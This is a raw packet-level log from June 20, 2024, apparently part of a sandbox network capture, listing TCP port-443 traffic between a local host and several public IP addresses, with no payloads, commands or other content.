Jun 20, 2024 13:54:51.255906105 CEST	443	49772	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:51.255975008 CEST	49772	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:51.256273031 CEST	49772	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:51.256315947 CEST	443	49772	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:51.266206026 CEST	443	49771	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:51.266268015 CEST	443	49771	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:51.266325951 CEST	49771	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:51.266714096 CEST	49771	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:51.266735077 CEST	443	49771	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:51.268712997 CEST	49773	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:51.268733978 CEST	443	49773	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:51.268806934 CEST	49773	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:51.269037008 CEST	49773	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:51.269053936 CEST	443	49773	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:51.721651077 CEST	443	49772	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:51.722052097 CEST	49772	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:51.722119093 CEST	443	49772	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:51.722599983 CEST	443	49772	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:51.722906113 CEST	49772	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:51.722995996 CEST	443	49772	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:51.723071098 CEST	49772	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:51.725816011 CEST	49678	443	192.168.2.16	20.189.173.10
Jun 20, 2024 13:54:51.732254982 CEST	443	49773	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:51.732494116 CEST	49773	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:51.732526064 CEST	443	49773	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:51.732803106 CEST	443	49773	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:51.733083010 CEST	49773	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:51.733135939 CEST	443	49773	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:51.733215094 CEST	49773	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:51.764533997 CEST	443	49772	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:51.780544996 CEST	443	49773	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:51.879302025 CEST	443	49772	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:51.879561901 CEST	443	49772	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:51.879671097 CEST	49772	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:51.880152941 CEST	49772	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:51.880196095 CEST	443	49772	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:51.882874012 CEST	49775	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:51.882917881 CEST	443	49775	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:51.882998943 CEST	49775	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:51.883223057 CEST	49775	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:51.883255005 CEST	443	49775	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:52.371515989 CEST	443	49775	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:52.371809006 CEST	49775	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:52.371875048 CEST	443	49775	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:52.372350931 CEST	443	49775	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:52.372658968 CEST	49775	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:52.372747898 CEST	443	49775	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:52.372783899 CEST	49775	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:52.416524887 CEST	443	49775	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:52.426800966 CEST	49775	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:52.520652056 CEST	443	49775	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:52.520827055 CEST	443	49775	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:52.520905972 CEST	49775	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:52.521500111 CEST	49775	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:52.521543980 CEST	443	49775	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:52.527695894 CEST	443	49773	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:52.527846098 CEST	443	49773	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:52.527921915 CEST	49773	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:52.528223991 CEST	49773	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:52.528239012 CEST	443	49773	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:52.533575058 CEST	49776	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:52.533608913 CEST	443	49776	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:52.533703089 CEST	49776	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:52.534002066 CEST	49776	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:52.534018040 CEST	443	49776	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:53.004954100 CEST	443	49776	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:53.005371094 CEST	49776	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:53.005404949 CEST	443	49776	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:53.006517887 CEST	443	49776	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:53.006835938 CEST	49776	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:53.006959915 CEST	49776	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:53.007076025 CEST	443	49776	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:53.048820972 CEST	49776	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:53.141827106 CEST	443	49776	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:53.142065048 CEST	443	49776	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:53.142137051 CEST	49776	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:53.142713070 CEST	49776	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:53.142736912 CEST	443	49776	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:55.585927963 CEST	49778	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:55.585951090 CEST	443	49778	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:55.586034060 CEST	49778	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:55.586359978 CEST	49778	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:55.586371899 CEST	443	49778	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:56.052402973 CEST	443	49778	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:56.053956032 CEST	49778	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:56.053980112 CEST	443	49778	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:56.054454088 CEST	443	49778	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:56.055979967 CEST	49778	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:56.056061029 CEST	443	49778	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:56.056164026 CEST	49778	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:56.096540928 CEST	443	49778	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:56.177479029 CEST	443	49778	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:56.177634954 CEST	443	49778	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:56.177699089 CEST	49778	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:56.178030014 CEST	49778	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:56.178056002 CEST	443	49778	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:56.178069115 CEST	49778	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:56.178107977 CEST	49778	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:56.179291964 CEST	49780	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:56.179312944 CEST	443	49780	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:56.179394007 CEST	49780	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:56.179603100 CEST	49780	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:56.179617882 CEST	443	49780	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:56.203903913 CEST	49680	80	192.168.2.16	192.229.211.108
Jun 20, 2024 13:54:56.645246029 CEST	443	49780	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:56.645538092 CEST	49780	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:56.645555973 CEST	443	49780	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:56.646626949 CEST	443	49780	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:56.646893024 CEST	49780	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:56.647052050 CEST	49780	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:56.647059917 CEST	443	49780	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:56.692517042 CEST	443	49780	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:56.698827028 CEST	49780	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:56.801522017 CEST	443	49780	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:56.801626921 CEST	443	49780	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:56.801727057 CEST	49780	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:56.802092075 CEST	49780	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:56.802103996 CEST	443	49780	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:56.804619074 CEST	49781	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:56.804663897 CEST	443	49781	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:56.804735899 CEST	49781	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:56.805260897 CEST	49782	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:56.805269003 CEST	443	49782	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:56.805332899 CEST	49782	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:56.805536032 CEST	49781	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:56.805552959 CEST	443	49781	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:56.805882931 CEST	49782	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:56.805898905 CEST	443	49782	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:56.806360006 CEST	49783	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:56.806381941 CEST	443	49783	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:56.806436062 CEST	49783	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:56.807087898 CEST	49784	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:56.807096958 CEST	443	49784	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:56.807161093 CEST	49784	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:56.807316065 CEST	49783	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:56.807327986 CEST	443	49783	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:56.807507992 CEST	49784	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:56.807521105 CEST	443	49784	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:57.269711018 CEST	443	49781	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:57.270026922 CEST	49781	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:57.270044088 CEST	443	49781	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:57.271485090 CEST	443	49781	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:57.271830082 CEST	49781	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:57.271930933 CEST	443	49781	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:57.271960020 CEST	49781	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:57.296243906 CEST	443	49782	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:57.296514034 CEST	49782	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:57.296525002 CEST	443	49782	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:57.297585011 CEST	443	49782	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:57.297879934 CEST	49782	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:57.298003912 CEST	49782	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:57.298054934 CEST	443	49782	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:57.310195923 CEST	443	49784	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:57.310420036 CEST	49784	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:57.310442924 CEST	443	49784	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:57.311537981 CEST	443	49784	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:57.311827898 CEST	49784	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:57.311903954 CEST	443	49784	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:57.311960936 CEST	49784	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:57.316513062 CEST	443	49781	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:57.321799994 CEST	49781	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:57.322638035 CEST	443	49783	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:57.322829962 CEST	49783	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:57.322839975 CEST	443	49783	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:57.323293924 CEST	443	49783	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:57.323582888 CEST	49783	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:57.323664904 CEST	443	49783	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:57.323733091 CEST	49783	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:57.337822914 CEST	49782	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:57.352524996 CEST	443	49784	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:57.368509054 CEST	443	49783	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:57.369837999 CEST	49783	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:57.404809952 CEST	443	49781	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:57.404872894 CEST	443	49781	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:57.404934883 CEST	49781	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:57.405708075 CEST	49781	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:57.405728102 CEST	443	49781	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:57.445892096 CEST	443	49782	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:57.446012974 CEST	443	49782	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:57.446078062 CEST	49782	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:57.446414948 CEST	49782	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:57.446425915 CEST	443	49782	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:57.446436882 CEST	49782	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:57.446476936 CEST	49782	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:57.447256088 CEST	49785	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:57.447277069 CEST	443	49785	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:57.447333097 CEST	49785	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:57.447963953 CEST	49785	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:57.447990894 CEST	443	49785	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:57.458412886 CEST	443	49784	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:57.458545923 CEST	443	49784	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:57.458599091 CEST	49784	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:57.458842993 CEST	49784	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:57.458858967 CEST	443	49784	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:57.458868027 CEST	49784	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:57.458906889 CEST	49784	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:57.459698915 CEST	49786	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:57.459711075 CEST	443	49786	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:57.459789991 CEST	49786	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:57.459984064 CEST	49786	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:57.459997892 CEST	443	49786	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:57.466916084 CEST	443	49783	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:57.467082024 CEST	49783	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:57.467091084 CEST	443	49783	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:57.467140913 CEST	49783	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:57.931993961 CEST	443	49786	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:57.932257891 CEST	49786	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:57.932275057 CEST	443	49786	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:57.932601929 CEST	443	49786	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:57.932765961 CEST	443	49785	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:57.932949066 CEST	49786	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:57.933007002 CEST	443	49786	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:57.933088064 CEST	49785	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:57.933098078 CEST	443	49785	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:57.933244944 CEST	49786	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:57.933562040 CEST	443	49785	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:57.933840990 CEST	49785	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:57.933923006 CEST	443	49785	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:57.933936119 CEST	49785	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:57.974817991 CEST	49785	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:57.974827051 CEST	443	49785	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:57.976579905 CEST	443	49786	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:58.066765070 CEST	443	49786	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:58.066999912 CEST	443	49786	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:58.067076921 CEST	49786	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:58.067401886 CEST	49786	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:58.067418098 CEST	443	49786	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:58.069869041 CEST	49787	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:58.069890976 CEST	443	49787	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:58.069967031 CEST	49787	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:58.070247889 CEST	49787	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:58.070257902 CEST	443	49787	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:58.552093983 CEST	443	49787	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:58.552366972 CEST	49787	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:58.552391052 CEST	443	49787	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:58.552675962 CEST	443	49787	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:58.552963018 CEST	49787	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:58.553014994 CEST	443	49787	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:58.553086042 CEST	49787	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:58.600495100 CEST	443	49787	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:58.712719917 CEST	443	49787	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:58.712810040 CEST	443	49785	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:58.712882996 CEST	443	49787	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:58.712992907 CEST	49787	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:58.713022947 CEST	443	49785	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:58.713083029 CEST	49785	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:58.714004040 CEST	49785	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:58.714025974 CEST	443	49785	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:58.714436054 CEST	49787	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:58.714447021 CEST	443	49787	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:58.719907045 CEST	49788	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:58.719928980 CEST	443	49788	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:58.720017910 CEST	49788	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:58.720279932 CEST	49788	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:58.720294952 CEST	443	49788	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:59.204771996 CEST	443	49788	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:59.205080986 CEST	49788	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:59.205100060 CEST	443	49788	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:59.206259966 CEST	443	49788	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:59.206561089 CEST	49788	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:59.206691980 CEST	49788	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:59.206795931 CEST	443	49788	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:59.251836061 CEST	49788	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:59.346451998 CEST	443	49788	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:59.346724987 CEST	443	49788	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:59.346810102 CEST	49788	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:59.347268105 CEST	49788	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:59.347286940 CEST	443	49788	172.67.196.150	192.168.2.16
Jun 20, 2024 13:55:02.464230061 CEST	49791	443	192.168.2.16	142.250.186.100
Jun 20, 2024 13:55:02.464318991 CEST	443	49791	142.250.186.100	192.168.2.16
Jun 20, 2024 13:55:02.464409113 CEST	49791	443	192.168.2.16	142.250.186.100
Jun 20, 2024 13:55:02.464668036 CEST	49791	443	192.168.2.16	142.250.186.100
Jun 20, 2024 13:55:02.464706898 CEST	443	49791	142.250.186.100	192.168.2.16
Jun 20, 2024 13:55:03.110281944 CEST	443	49791	142.250.186.100	192.168.2.16
Jun 20, 2024 13:55:03.110543013 CEST	49791	443	192.168.2.16	142.250.186.100
Jun 20, 2024 13:55:03.110570908 CEST	443	49791	142.250.186.100	192.168.2.16
Jun 20, 2024 13:55:03.110868931 CEST	443	49791	142.250.186.100	192.168.2.16
Jun 20, 2024 13:55:03.111243010 CEST	49791	443	192.168.2.16	142.250.186.100
Jun 20, 2024 13:55:03.111314058 CEST	443	49791	142.250.186.100	192.168.2.16
Jun 20, 2024 13:55:03.162837982 CEST	49791	443	192.168.2.16	142.250.186.100
Jun 20, 2024 13:55:03.812453985 CEST	49793	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:03.812553883 CEST	443	49793	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:03.812674999 CEST	49793	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:03.812896013 CEST	49793	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:03.812928915 CEST	443	49793	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:03.813227892 CEST	49794	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:03.813250065 CEST	443	49794	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:03.813333035 CEST	49794	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:03.813510895 CEST	49794	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:03.813530922 CEST	443	49794	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:04.281213045 CEST	443	49794	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:04.281558990 CEST	49794	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:04.281627893 CEST	443	49794	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:04.282265902 CEST	443	49794	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:04.282608032 CEST	49794	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:04.282704115 CEST	443	49794	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:04.282736063 CEST	49794	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:04.302762985 CEST	443	49793	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:04.303070068 CEST	49793	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:04.303087950 CEST	443	49793	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:04.303560972 CEST	443	49793	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:04.303877115 CEST	49793	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:04.303986073 CEST	443	49793	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:04.323839903 CEST	49794	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:04.323856115 CEST	443	49794	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:04.355863094 CEST	49793	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:04.437014103 CEST	443	49794	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:04.437330961 CEST	443	49794	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:04.437407970 CEST	49794	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:04.437809944 CEST	49794	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:55:04.437824011 CEST	443	49794	104.21.84.200	192.168.2.16
Jun 20, 2024 13:55:09.539846897 CEST	49797	443	192.168.2.16	20.114.59.183
Jun 20, 2024 13:55:09.539889097 CEST	443	49797	20.114.59.183	192.168.2.16
Jun 20, 2024 13:55:09.539989948 CEST	49797	443	192.168.2.16	20.114.59.183
Jun 20, 2024 13:55:09.540446043 CEST	49797	443	192.168.2.16	20.114.59.183
Jun 20, 2024 13:55:09.540462971 CEST	443	49797	20.114.59.183	192.168.2.16
Jun 20, 2024 13:55:10.352865934 CEST	443	49797	20.114.59.183	192.168.2.16
Jun 20, 2024 13:55:10.352969885 CEST	49797	443	192.168.2.16	20.114.59.183
Jun 20, 2024 13:55:10.354243994 CEST	49797	443	192.168.2.16	20.114.59.183
Jun 20, 2024 13:55:10.354258060 CEST	443	49797	20.114.59.183	192.168.2.16
Jun 20, 2024 13:55:10.354491949 CEST	443	49797	20.114.59.183	192.168.2.16
Jun 20, 2024 13:55:10.356009007 CEST	49797	443	192.168.2.16	20.114.59.183
Jun 20, 2024 13:55:10.396545887 CEST	443	49797	20.114.59.183	192.168.2.16
Jun 20, 2024 13:55:10.694086075 CEST	443	49797	20.114.59.183	192.168.2.16
Jun 20, 2024 13:55:10.694156885 CEST	443	49797	20.114.59.183	192.168.2.16
Jun 20, 2024 13:55:10.694197893 CEST	443	49797	20.114.59.183	192.168.2.16
Jun 20, 2024 13:55:10.694238901 CEST	49797	443	192.168.2.16	20.114.59.183
Jun 20, 2024 13:55:10.694266081 CEST	443	49797	20.114.59.183	192.168.2.16
Jun 20, 2024 13:55:10.694298029 CEST	49797	443	192.168.2.16	20.114.59.183
Jun 20, 2024 13:55:10.694330931 CEST	49797	443	192.168.2.16	20.114.59.183
Jun 20, 2024 13:55:10.695976019 CEST	443	49797	20.114.59.183	192.168.2.16
Jun 20, 2024 13:55:10.696085930 CEST	443	49797	20.114.59.183	192.168.2.16
Jun 20, 2024 13:55:10.696091890 CEST	49797	443	192.168.2.16	20.114.59.183
